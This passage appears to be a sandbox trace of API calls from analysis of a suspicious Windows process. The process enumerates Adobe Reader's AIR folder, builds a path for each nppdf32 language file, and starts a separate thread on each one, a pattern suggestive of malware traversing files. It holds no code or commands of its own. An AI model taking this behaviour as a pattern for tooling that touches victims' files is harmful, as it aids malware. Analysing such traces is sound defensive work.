nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.ITA", cAlternateFileName="")) returned 1 [0150.822] wcscmp (_String1="nppdf32.ITA", _String2=".") returned 1 [0150.823] wcscmp (_String1="nppdf32.ITA", _String2="..") returned 1 [0150.823] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b7849a0 [0150.823] wcscpy (in: _Dest=0x1b7849a0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR" [0150.823] wcscat (in: _Dest=0x1b7849a0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\" [0150.823] wcscat (in: _Dest=0x1b7849a0, _Source="nppdf32.ITA" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.ITA") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.ITA" [0150.823] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7849a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2250 [0150.824] FindNextFileW (in: hFindFile=0x1cd9c670, lpFindFileData=0x1cd616a0 | out: lpFindFileData=0x1cd616a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802e0860, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.JPN", cAlternateFileName="")) returned 1 [0150.824] wcscmp (_String1="nppdf32.JPN", _String2=".") returned 1 [0150.824] wcscmp (_String1="nppdf32.JPN", _String2="..") returned 1 [0150.824] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b783ef0 [0150.824] wcscpy (in: _Dest=0x1b783ef0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR" [0150.824] wcscat (in: _Dest=0x1b783ef0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\" [0150.824] wcscat (in: _Dest=0x1b783ef0, _Source="nppdf32.JPN" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.JPN") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.JPN" [0150.824] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b783ef0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2254 [0150.825] FindNextFileW (in: hFindFile=0x1cd9c670, lpFindFileData=0x1cd616a0 | out: lpFindFileData=0x1cd616a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802e0860, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.KOR", cAlternateFileName="")) returned 1 [0150.825] wcscmp (_String1="nppdf32.KOR", _String2=".") returned 1 [0150.825] wcscmp (_String1="nppdf32.KOR", _String2="..") returned 1 [0150.825] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b783cb0 [0150.825] wcscpy (in: _Dest=0x1b783cb0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR" [0150.825] wcscat (in: _Dest=0x1b783cb0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\" [0150.825] wcscat (in: _Dest=0x1b783cb0, _Source="nppdf32.KOR" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.KOR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.KOR" [0150.825] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b783cb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2258 [0150.826] FindNextFileW (in: hFindFile=0x1cd9c670, lpFindFileData=0x1cd616a0 | out: lpFindFileData=0x1cd616a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802ba700, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.NLD", cAlternateFileName="")) returned 1 [0150.826] wcscmp (_String1="nppdf32.NLD", _String2=".") returned 1 [0150.826] wcscmp (_String1="nppdf32.NLD", _String2="..") returned 1 [0150.826] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b7842e0 [0150.827] wcscpy (in: _Dest=0x1b7842e0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR" [0150.827] wcscat (in: _Dest=0x1b7842e0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\" [0150.827] wcscat (in: _Dest=0x1b7842e0, _Source="nppdf32.NLD" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.NLD") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.NLD" [0150.827] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7842e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x225c [0150.827] FindNextFileW (in: hFindFile=0x1cd9c670, lpFindFileData=0x1cd616a0 | out: lpFindFileData=0x1cd616a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802e0860, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.NOR", cAlternateFileName="")) returned 1 [0150.828] wcscmp (_String1="nppdf32.NOR", _String2=".") returned 1 [0150.828] wcscmp (_String1="nppdf32.NOR", _String2="..") returned 1 [0150.828] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b784130 [0150.828] wcscpy (in: _Dest=0x1b784130, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR" [0150.828] wcscat (in: _Dest=0x1b784130, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\" [0150.828] wcscat (in: _Dest=0x1b784130, _Source="nppdf32.NOR" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.NOR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.NOR" [0150.828] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b784130, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2260 [0150.829] FindNextFileW (in: hFindFile=0x1cd9c670, lpFindFileData=0x1cd616a0 | out: lpFindFileData=0x1cd616a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.POL", cAlternateFileName="")) returned 1 [0150.829] wcscmp (_String1="nppdf32.POL", _String2=".") returned 1 [0150.829] wcscmp (_String1="nppdf32.POL", _String2="..") returned 1 [0150.829] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b7840a0 [0150.829] wcscpy (in: _Dest=0x1b7840a0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR" [0150.829] wcscat (in: _Dest=0x1b7840a0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\" [0150.829] wcscat (in: _Dest=0x1b7840a0, _Source="nppdf32.POL" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.POL") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.POL" [0150.829] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7840a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2264 [0150.830] FindNextFileW (in: hFindFile=0x1cd9c670, lpFindFileData=0x1cd616a0 | out: lpFindFileData=0x1cd616a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802e0860, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.PTB", cAlternateFileName="")) returned 1 [0150.830] wcscmp (_String1="nppdf32.PTB", _String2=".") returned 1 [0150.830] wcscmp (_String1="nppdf32.PTB", _String2="..") returned 1 [0150.830] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b784250 [0150.830] wcscpy (in: _Dest=0x1b784250, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR" [0150.830] wcscat (in: _Dest=0x1b784250, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\" [0150.830] wcscat (in: _Dest=0x1b784250, _Source="nppdf32.PTB" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.PTB") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.PTB" [0150.830] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b784250, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2268 [0150.831] FindNextFileW (in: hFindFile=0x1cd9c670, lpFindFileData=0x1cd616a0 | out: lpFindFileData=0x1cd616a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.RUM", cAlternateFileName="")) returned 1 [0150.831] wcscmp (_String1="nppdf32.RUM", _String2=".") returned 1 [0150.831] wcscmp (_String1="nppdf32.RUM", _String2="..") returned 1 [0150.831] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b7845b0 [0150.832] wcscpy (in: _Dest=0x1b7845b0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR" [0150.832] wcscat (in: _Dest=0x1b7845b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\" [0150.832] wcscat (in: _Dest=0x1b7845b0, _Source="nppdf32.RUM" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.RUM") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.RUM" [0150.832] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7845b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x226c [0150.832] FindNextFileW (in: hFindFile=0x1cd9c670, lpFindFileData=0x1cd616a0 | out: lpFindFileData=0x1cd616a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.RUS", cAlternateFileName="")) returned 1 [0150.832] wcscmp (_String1="nppdf32.RUS", _String2=".") returned 1 [0150.832] wcscmp (_String1="nppdf32.RUS", _String2="..") returned 1 [0150.832] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b784b50 [0150.833] wcscpy (in: _Dest=0x1b784b50, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR" [0150.833] wcscat (in: _Dest=0x1b784b50, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\" [0150.833] wcscat (in: _Dest=0x1b784b50, _Source="nppdf32.RUS" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.RUS") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.RUS" [0150.833] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b784b50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2270 [0150.834] FindNextFileW (in: hFindFile=0x1cd9c670, lpFindFileData=0x1cd616a0 | out: lpFindFileData=0x1cd616a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.SKY", cAlternateFileName="")) returned 1 [0150.834] wcscmp (_String1="nppdf32.SKY", _String2=".") returned 1 [0150.834] wcscmp (_String1="nppdf32.SKY", _String2="..") returned 1 [0150.834] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b784400 [0150.834] wcscpy (in: _Dest=0x1b784400, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR" [0150.834] wcscat (in: _Dest=0x1b784400, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\" [0150.834] wcscat (in: _Dest=0x1b784400, _Source="nppdf32.SKY" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.SKY") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.SKY" [0150.834] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b784400, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2274 [0150.835] FindNextFileW (in: hFindFile=0x1cd9c670, lpFindFileData=0x1cd616a0 | out: lpFindFileData=0x1cd616a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.SLV", cAlternateFileName="")) returned 1 [0150.835] wcscmp (_String1="nppdf32.SLV", _String2=".") returned 1 [0150.835] wcscmp (_String1="nppdf32.SLV", _String2="..") returned 1 [0150.835] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b784880 [0150.835] wcscpy (in: _Dest=0x1b784880, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR" [0150.835] wcscat (in: _Dest=0x1b784880, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\" [0150.835] wcscat (in: _Dest=0x1b784880, _Source="nppdf32.SLV" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.SLV") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.SLV" [0150.835] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b784880, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2278 [0150.836] FindNextFileW (in: hFindFile=0x1cd9c670, lpFindFileData=0x1cd616a0 | out: lpFindFileData=0x1cd616a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802ba700, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.SUO", cAlternateFileName="")) returned 1 [0150.836] wcscmp (_String1="nppdf32.SUO", _String2=".") returned 1 [0150.837] wcscmp (_String1="nppdf32.SUO", _String2="..") returned 1 [0150.837] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b784490 [0150.837] wcscpy (in: _Dest=0x1b784490, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR" [0150.837] wcscat (in: _Dest=0x1b784490, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\" [0150.837] wcscat (in: _Dest=0x1b784490, _Source="nppdf32.SUO" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.SUO") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.SUO" [0150.837] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b784490, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x227c [0150.838] FindNextFileW (in: hFindFile=0x1cd9c670, lpFindFileData=0x1cd616a0 | out: lpFindFileData=0x1cd616a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802e0860, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.SVE", cAlternateFileName="")) returned 1 [0150.838] wcscmp (_String1="nppdf32.SVE", _String2=".") returned 1 [0150.838] wcscmp (_String1="nppdf32.SVE", _String2="..") returned 1 [0150.838] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b7847f0 [0150.838] wcscpy (in: _Dest=0x1b7847f0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR" [0150.838] wcscat (in: _Dest=0x1b7847f0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\" [0150.838] wcscat (in: _Dest=0x1b7847f0, _Source="nppdf32.SVE" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.SVE") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.SVE" [0150.838] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7847f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2280 [0150.839] FindNextFileW (in: hFindFile=0x1cd9c670, lpFindFileData=0x1cd616a0 | out: lpFindFileData=0x1cd616a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.TUR", cAlternateFileName="")) returned 1 [0150.839] wcscmp (_String1="nppdf32.TUR", _String2=".") returned 1 [0150.839] wcscmp (_String1="nppdf32.TUR", _String2="..") returned 1 [0150.839] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b784d00 [0150.839] wcscpy (in: _Dest=0x1b784d00, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR" [0150.839] wcscat (in: _Dest=0x1b784d00, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\" [0150.839] wcscat (in: _Dest=0x1b784d00, _Source="nppdf32.TUR" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.TUR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.TUR" [0150.839] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b784d00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2284 [0150.840] FindNextFileW (in: hFindFile=0x1cd9c670, lpFindFileData=0x1cd616a0 | out: lpFindFileData=0x1cd616a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.UKR", cAlternateFileName="")) returned 1 [0150.840] wcscmp (_String1="nppdf32.UKR", _String2=".") returned 1 [0150.840] wcscmp (_String1="nppdf32.UKR", _String2="..") returned 1 [0150.840] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b784370 [0150.840] wcscpy (in: _Dest=0x1b784370, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR" [0150.840] wcscat (in: _Dest=0x1b784370, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\" [0150.840] wcscat (in: _Dest=0x1b784370, _Source="nppdf32.UKR" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.UKR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.UKR" [0150.841] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b784370, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2288 [0150.841] FindNextFileW (in: hFindFile=0x1cd9c670, lpFindFileData=0x1cd616a0 | out: lpFindFileData=0x1cd616a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, 